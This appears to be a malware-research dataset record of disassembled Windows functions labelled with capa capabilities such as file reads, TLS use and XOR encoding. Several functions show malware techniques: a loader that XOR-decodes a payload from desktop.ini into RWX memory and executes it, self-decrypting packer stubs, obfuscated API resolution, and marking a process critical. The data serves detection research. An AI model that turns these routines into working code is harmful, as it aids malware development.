joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432511
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x451420]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x432554
cmp word [esi], dx
jne 0x432554
or byte [edi + eax + 0x28], 4
jmp 0x432559
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4326ac
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x43268c
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x43259b
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4325d1
cmp eax, edx
jae 0x4325dd
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x432573
jmp 0x4326ac
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x432688
cmp dword [ebp - 0x14], 0
je 0x432688
mov eax, dword [ebx*4 + 0x451420]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x432660
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x432629
mov word [esi], cx
jmp 0x43265c
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x451420]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x451420]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x451420]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4326ac
pop ebx
cmp word [ebp - 4], bx
jne 0x432671
cmp esi, dword [ebp + 0xc]
jne 0x432671
mov word [esi], bx
jmp 0x4326a9
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004377dd
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4326ac
push 0xd
jmp 0x4326a5
mov ecx, dword [ebx*4 + 0x451420]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4326a3
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4326ac
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x434335
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4474a4
push 0x44749c
push str.FlsAlloc
push 0x1e
call fcn.004341f6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x434369
push dword [ebp + 8]
mov ecx, esi
call dword [0x4421e8]
call esi
jmp 0x43436f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4343b3
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4474b4
push 0x4474ac
push str.FlsGetValue
push 0x20
call fcn.004341f6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4343ea
push dword [ebp + 8]
mov ecx, esi
call dword [0x4421e8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x439301
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x43939e
push ebx
push esi
call fcn.004392ca
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00439213
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x43934b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43939d
push edi
push eax
call fcn.00434873
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x43936b
call fcn.00434089
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43939c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00439213
add esp, 0x20
test eax, eax
jne 0x43938a
push edi
call fcn.00434089
jmp 0x439392
push ebx
call fcn.00434089
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4393a1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4393b2
pop esi
ret
push ebx
push edi
push esi
call fcn.004392ca
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00434873
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4393da
push ebx
push esi
push edi
call fcn.00428a90
add esp, 0xc
push 0
call fcn.00434089
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x439b26
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043964d
Function at 0x43f4b7
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0043f433
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x43f62f
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x43f62f
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x43f5de
jg 0x43f510
test eax, eax
je 0x43f5d4
push 1
push 0x1000
call fcn.00433dc0
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x43f536
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x43f5cb
push 0x8000
push ebx
call fcn.00431bb3
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x43f562
jg 0x43f55d
cmp ecx, 0x1000
jb 0x43f562
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0043362d
add esp, 0x10
cmp eax, 0xffffffff
je 0x43f5a7
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x43f55d
jl 0x43f58e
test ecx, ecx
jne 0x43f54f
push dword [ebp - 0xc]
push ebx
call fcn.00431bb3
push esi
call fcn.00434089
add esp, 0xc
xor edi, edi
jmp 0x43f640
cmp byte [edi + 0x24], 0
je 0x43f5be
cmp dword [edi + 0x20], 5
jne 0x43f5be
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x43f5c9
mov edi, dword [edi + 0x18]
jmp 0x43f5cb
xor edi, edi
push esi
call fcn.00434089
pop ecx
jmp 0x43f640
test ecx, ecx
jg 0x43f5a0
jl 0x43f5de
test eax, eax
jae 0x43f5a0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004377dd
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x43f601
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x43f5a0
jmp 0x43f638
push ebx
call fcn.0043741f
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x43f5a0
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x43f640
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x43f63d
mov edi, dword [edi + 0x18]
jmp 0x43f640
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004377dd
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x6d533636
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov eax, dword [esp + 8]
cmp eax, 1
jne 0x6d5336c6
call fcn.6d533aaa
inc dword [0x6d537e44]
call dword [sym.imp.KERNEL32.DLL_GetVersion]
mov dl, ah
mov ecx, eax
and edx, 0xff
and ecx, 0xff
shr eax, 0x10
mov dword [0x6d538084], edx
mov dword [0x6d538080], ecx
mov dword [0x6d538078], eax
shl ecx, 8
add ecx, edx
mov dword [0x6d53807c], ecx
call fcn.6d533987
test eax, eax
jne 0x6d533695
call fcn.6d533ad1
xor eax, eax
jmp 0x6d53370b
call fcn.6d53416a
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov dword [0x6d53583c], eax
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStrings]
mov dword [0x6d537e48], eax
call fcn.6d53415f
call fcn.6d533c7c
call fcn.6d533bb1
call fcn.6d533876
jmp 0x6d533706
test eax, eax
jne 0x6d5336f7
mov eax, dword [0x6d537e44]
test eax, eax
jle 0x6d5336f3
dec eax
cmp dword [0x6d5380b0], 0
mov dword [0x6d537e44], eax
jne 0x6d5336e7
call fcn.6d5338b7
call fcn.6d5339e8
call fcn.6d533ad1
jmp 0x6d533706
xor eax, eax
jmp 0x6d53370b
cmp eax, 3
jne 0x6d533706
push 0
call fcn.6d533a09
add esp, 4
mov eax, 1
ret 0xc

Function at 0x6d5338c6
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
call fcn.6d533951
mov dword [0x6d5380b0], 1
cmp dword [esp + 0x10], 0
mov ebx, dword [esp + 0x14]
mov byte [0x6d5380ac], bl
jne 0x6d533927
cmp dword [0x6d535838], 0
je 0x6d533915
mov esi, dword [0x6d535830]
sub esi, 4
cmp esi, dword [0x6d535838]
jb 0x6d533915
mov eax, dword [esi]
test eax, eax
je 0x6d53390a
call eax
sub esi, 4
cmp esi, dword [0x6d535838]
jae 0x6d533902
push 0x6d539198
push 0x6d539194
call fcn.6d533967
add esp, 8
push 0x6d5391a0
push 0x6d53919c
call fcn.6d533967
add esp, 8
test ebx, ebx
je 0x6d533944
call fcn.6d53395c
jmp 0x6d53394e
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
pop esi
pop ebx
ret

Function at 0x6d533987
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push esi
call fcn.6d53443c
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
mov dword [0x6d5380b4], eax
cmp eax, 0xffffffff
je 0x6d5339e4
push 0x70
push 1
call fcn.6d534534
add esp, 8
mov esi, eax
test esi, esi
je 0x6d5339e4
push esi
mov eax, dword [0x6d5380b4]
push eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
test eax, eax
je 0x6d5339e4
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
mov dword [esi], eax
mov eax, 1
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0x50], 0x6d5390c8
mov dword [esi + 0x14], 1
jmp 0x6d5339e6
xor eax, eax
pop esi
ret
Function at 0x6d533a09
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x6d5380b4], 0xffffffff
push esi
je 0x6d533aa8
mov esi, dword [esp + 8]
test esi, esi
jne 0x6d533a31
mov eax, dword [0x6d5380b4]
push eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov esi, eax
test esi, esi
je 0x6d533a9a
mov eax, dword [esi + 0x24]
test eax, eax
je 0x6d533a41
push eax
call fcn.6d534584
add esp, 4
mov eax, dword [esi + 0x28]
test eax, eax
je 0x6d533a51
push eax
call fcn.6d534584
add esp, 4
mov eax, dword [esi + 0x30]
test eax, eax
je 0x6d533a61
push eax
call fcn.6d534584
add esp, 4
mov eax, dword [esi + 0x38]
test eax, eax
je 0x6d533a71
push eax
call fcn.6d534584
add esp, 4
mov eax, dword [esi + 0x40]
test eax, eax
je 0x6d533a81
push eax
call fcn.6d534584
add esp, 4
mov eax, dword [esi + 0x44]
test eax, eax
je 0x6d533a91
push eax
call fcn.6d534584
add esp, 4
push esi
call fcn.6d534584
add esp, 4
push 0
mov eax, dword [0x6d5380b4]
push eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
pop esi
ret

Function at 0x6d534282
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 4]
sub esp, 4
xor ecx, ecx
mov eax, 0x6d538af0
push edi
cmp dword [eax], edx
je 0x6d5342a0
add eax, 8
inc ecx
cmp eax, 0x6d538b68
jb 0x6d534291
cmp dword [ecx*8 + 0x6d538af0], edx
lea eax, [ecx*8]
jne 0x6d5342d9
mov edx, dword [eax + 0x6d538af4]
push 0
lea eax, [esp + 8]
mov edi, edx
push eax
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, dword [0x6d538408]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop edi
add esp, 4
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x652c6da7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x7e870bf4
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x100022de
pop dword [ebp - 0x44]
mov eax, 0x63a20311
add eax, 0xac5e1fcd
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x1ebcc405
sub dword [ebp - 0x54], 0xd06a7eba
mov dword [ebp - 0x50], 0xd75f07e0
sub dword [ebp - 0x50], 0xa52bbb9b
mov dword [ebp - 0x4c], 0xf8b66d41
sub dword [ebp - 0x4c], 0xac6a2913
mov dword [ebp - 0x48], 0xbfce0323
add dword [ebp - 0x48], 0x4031fcdd
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xb9cd7285
sub dword [ebp - 0x54], 0x455b092f
mov dword [ebp - 0x50], 0xa55c4ae6
sub dword [ebp - 0x50], 0x63efe971
mov dword [ebp - 0x4c], 0x5964fb79
sub dword [ebp - 0x4c], 0xf5f58f0d
mov dword [ebp - 0x48], 0x6900ff0a
add dword [ebp - 0x48], 0x96ff00f6
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x597111ff
add eax, 0xb68f1e09
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3614e
push 0
call eax
mov ecx, 0x2b315911
add ecx, 0xd4ceed50
xor edx, edx
add edx, eax
mov edi, 0x600d27d0
sub edi, 0x500cc5d0
add edi, dword [ebp - 0x44]
mov esi, 0xcddf8a99
add esi, 0xd694f224
add dword [ebp - 0x1c], 0xb7e181dc
mov ebx, dword [edi]
xor dword [ebp - 0x14], ecx
xor ebx, esi
sub dword [ebp - 0x34], esi
mov dword [edx], ebx
xor dword [ebp - 0x1c], edx
add edx, 0x7b5591b4
sub edx, 0x7b5591b0
add edi, 0x2f089c5
add edi, 0xfd0f763f
loop 0x100023fd
add eax, 0x302f1431
add eax, 0xcfd1f826
xor ebx, ebx
add ebx, eax
add eax, 0x6bd74fa1
add eax, 0x9428b064
mov ecx, 0xda117b21
sub ecx, 0xca117b21
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x6ddb5efa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x6ddb5f09
pop dword [ebp - 0x40]
mov eax, 0x6ddb5f09
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x1295fc6
add dword [ebp - 0x50], 0x4d28e585
mov dword [ebp - 0x4c], 0xc1f29aaa
sub dword [ebp - 0x4c], 0x8fbf4e65
mov dword [ebp - 0x48], 0xad88446e
sub dword [ebp - 0x48], 0x613c0040
mov dword [ebp - 0x44], 0xdd74f9c7
sub dword [ebp - 0x44], 0xdd74f9c7
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x91e0ebe
add dword [ebp - 0x50], 0x6b545a98
mov dword [ebp - 0x4c], 0x6fcc7542
sub dword [ebp - 0x4c], 0x2e6013cd
mov dword [ebp - 0x48], 0x986e583c
sub dword [ebp - 0x48], 0x34feebd0
mov dword [ebp - 0x44], 0x20a8a7d
sub dword [ebp - 0x44], 0x20a8a7d
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3632f
push 0
call eax
mov ecx, 0x456f
mov edx, eax
mov edi, 0x35260472
sub edi, 0xc749c872
add edi, dword [ebp - 0x40]
mov esi, 0x9d153028
sub esi, 0xec0aa91b
sub dword [ebp - 0x38], 0x2e578401
mov ebx, dword [edi]
xor dword [ebp - 0x20], esi
sub ebx, esi
xor dword [ebp - 0x30], ecx
mov dword [edx], ebx
mov dword [ebp - 0x28], 0x3f5532e3
add edx, 4
add edi, 4
loop 0x6ddb6016
add eax, 0xfc498782
add eax, 0x3b7810d
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe9958c7e
add ecx, 0x84457382
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x100160a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004058]
jne 0x100313f
test ecx, 0xffff0000
jne 0x100313f
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x320
push edi
mov dword [0x1004338], eax
mov dword [0x1004334], ecx
mov dword [0x1004330], edx
mov dword [0x100432c], ebx
mov dword [0x1004328], esi
mov dword [0x1004324], edi
mov word [0x1004350], ss
mov word [0x1004344], cs
mov word [0x1004320], ds
mov word [0x100431c], es
mov word [0x1004318], fs
mov word [0x1004314], gs
pushfd
pop dword [0x1004348]
mov eax, dword [ebp + 4]
lea ecx, [ebp + 4]
add ecx, 4
mov dword [0x100434c], ecx
mov dword [0x1004340], eax
mov dword [0x1004288], 0x10001
lea ecx, [ebp + 4]
mov ecx, dword [ecx - 4]
mov dword [0x1004244], eax
mov eax, dword [0x1004058]
mov dword [ebp - 4], eax
mov eax, dword [0x1004094]
xor edi, edi
inc edi
mov dword [ebp - 4], eax
push 0
mov dword [0x100433c], ecx
mov dword [0x1004238], 0xc0000409
mov dword [0x100423c], edi
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x1003220
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push 0xc0000409
mov dword [ebp - 0x320], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
leave
ret

Function at 0x10018d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x1004040
push edi
mov dword [ebp - 0xc], 4
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebp + 8]
dec dword [esi + 0xc]
lea eax, [ebp - 4]
push eax
push dword [esi]
call fcn.01001145
test eax, eax
jne 0x100192e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x100194c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1002a75
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp - 4], ebx
pop edi
pop esi
pop ebx
je 0x1001946
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 4
cmp dword [ebp - 0x10], 4
jne 0x100192e
cmp dword [ebp - 8], 1
jne 0x100192e
cmp dword [esi + 0xc], ebx
jne 0x100192e
jmp 0x1002d23
mov eax, dword [esi + 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esi + 4]
mov dword [eax + 8], ebx
jmp 0x100192e
Function at 0x100214b
Capabilities:
Access pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x1002172
lea ecx, [esi + 0x20]
push ecx
push dword [esi + 0x1c]
push dword [esi + 0x18]
push dword [esi + 0x14]
push eax
call fcn.010022f3
test eax, eax
je 0x10021a9
mov eax, dword [esi + 0x30]
test eax, eax
jne 0x1002d06
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push dword [eax + 8]
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je 0x100219c
push dword [eax + 0x64]
call dword [sym.imp.RPCRT4.dll_RpcMgmtSetServerStackSize]
cmp dword [esi + 0x34], 0
jne 0x1002d0f
xor eax, eax
inc eax
pop esi
pop ebp
ret 4
shl eax, 0xa
push eax
jmp 0x1002196
push 1
push 0
push 1
call dword [sym.imp.ntdll.dll_RtlSetProcessIsCritical]
add esp, 0xc
jmp 0x10021a6